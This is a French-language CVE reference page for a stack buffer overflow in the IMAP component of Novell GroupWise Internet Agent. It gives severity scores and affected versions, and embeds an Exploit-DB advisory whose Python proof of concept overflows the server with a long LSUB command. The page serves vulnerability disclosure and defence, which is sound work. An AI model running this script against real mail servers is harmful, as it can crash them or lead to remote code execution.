CVE-2010-4717 : Détail

CVE-2010-4717

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2011-01-31
19h00 +00:00
2024-09-16
23h35 +00:00
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Descriptions du CVE

Multiple stack-based buffer overflows in the IMAP server component in GroupWise Internet Agent (GWIA) in Novell GroupWise before 8.02HP allow remote attackers to execute arbitrary code via a long (1) LIST or (2) LSUB command.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-119 Improper Restriction of Operations within the Bounds of a Memory Buffer
The product performs operations on a memory buffer, but it reads from or writes to a memory location outside the buffer's intended boundary. This may result in read or write operations on unexpected memory locations that could be linked to other variables, data structures, or internal program data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 6.5 AV:N/AC:L/Au:S/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 15464

Date de publication : 2010-11-08 23h00 +00:00
Auteur : Francis Provencher
EDB Vérifié : Yes

##################################################################################### Application: Novell Groupwise Internet Agent IMAP LIST LSUB Command Remote Code Execution Vulnerability Platforms: SLES 10 SP3 (GroupWise 8.0.2) Exploitation: Remote code execution CVE Number: Novell TID: 7007157 Author: Francis Provencher (Protek Research Lab's) WebSite: http://www.protekresearchlab.com/ ##################################################################################### 1) Introduction 2) Report Timeline 3) Technical details 4) The Code ##################################################################################### =============== 1) Introduction =============== Novell, Inc. is a global software and services company based in Waltham, Massachusetts. The company specializes in enterprise operating systems, such as SUSE Linux Enterprise and Novell NetWare; identity, security, and systems management solutions; and collaboration solutions, such as Novell Groupwise and Novell Pulse. Novell was instrumental in making the Utah Valley a focus for technology and software development. Novell technology contributed to the emergence of local area networks, which displaced the dominant mainframe computing model and changed computing worldwide. Today, a primary focus of the company is on developing open source software for enterprise clients. (http://en.wikipedia.org/wiki/Novell) ##################################################################################### ============================ 2) Report Timeline ============================ 2010-08-27 Vulnerability reported to vendor 2010-11-08 Vendor disclose patch ##################################################################################### ============================ 3) Technical details ============================ This vulnerability allows remote attackers to execute arbitrary code on vulnerable installations of Novell Groupwise Internet Agent where IMAP services run. Authentication is required to exploit this vulnerability. The flaw exists within the IMAP functionality included with GWIA. When provided with an overly long LIST or LSUB request to the CREATE verb, the IMAP server can be forced to overflow a buffer on the stack. Successful exploitation leads to remote code execution under the context of the server. ##################################################################################### =========== 4) The Code =========== #!/usr/bin/python # # Francis Provencher for Protek Research Lab's. # # import socket s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) buffer = '\x41' * 1368 s.connect(('192.168.100.178',143)) s.recv(1024) s.send('A001 LOGIN test test ' + buffer + '\r\n') s.recv(1024) s.send('A001 LSUB aa ' + buffer + '\r\n') s.recv(1024) s.close() ##################################################################################### (PRL-2010-08)

Products Mentioned

Configuraton 0

Novell>>Groupwise >> Version To (including) 8.0.2

Novell>>Groupwise >> Version 4.1

    Novell>>Groupwise >> Version 4.1a

      Novell>>Groupwise >> Version 5.0

        Novell>>Groupwise >> Version 5.1

          Novell>>Groupwise >> Version 5.2

          Novell>>Groupwise >> Version 5.5

          Novell>>Groupwise >> Version 5.5

            Novell>>Groupwise >> Version 5.57e

            Novell>>Groupwise >> Version 6.0

            Novell>>Groupwise >> Version 6.0

              Novell>>Groupwise >> Version 6.0

                Novell>>Groupwise >> Version 6.0.1

                Novell>>Groupwise >> Version 6.5

                Novell>>Groupwise >> Version 6.5

                Novell>>Groupwise >> Version 6.5

                Novell>>Groupwise >> Version 6.5

                Novell>>Groupwise >> Version 6.5

                Novell>>Groupwise >> Version 6.5

                Novell>>Groupwise >> Version 6.5

                Novell>>Groupwise >> Version 6.5.2

                Novell>>Groupwise >> Version 6.5.3

                Novell>>Groupwise >> Version 6.5.4

                Novell>>Groupwise >> Version 6.5.6

                Novell>>Groupwise >> Version 6.5.7

                Novell>>Groupwise >> Version 7.0

                Novell>>Groupwise >> Version 7.0.1

                  Novell>>Groupwise >> Version 7.0.2

                    Novell>>Groupwise >> Version 7.0.3

                    Novell>>Groupwise >> Version 7.0.4

                    Novell>>Groupwise >> Version 8.0

                    Novell>>Groupwise >> Version 8.0.1

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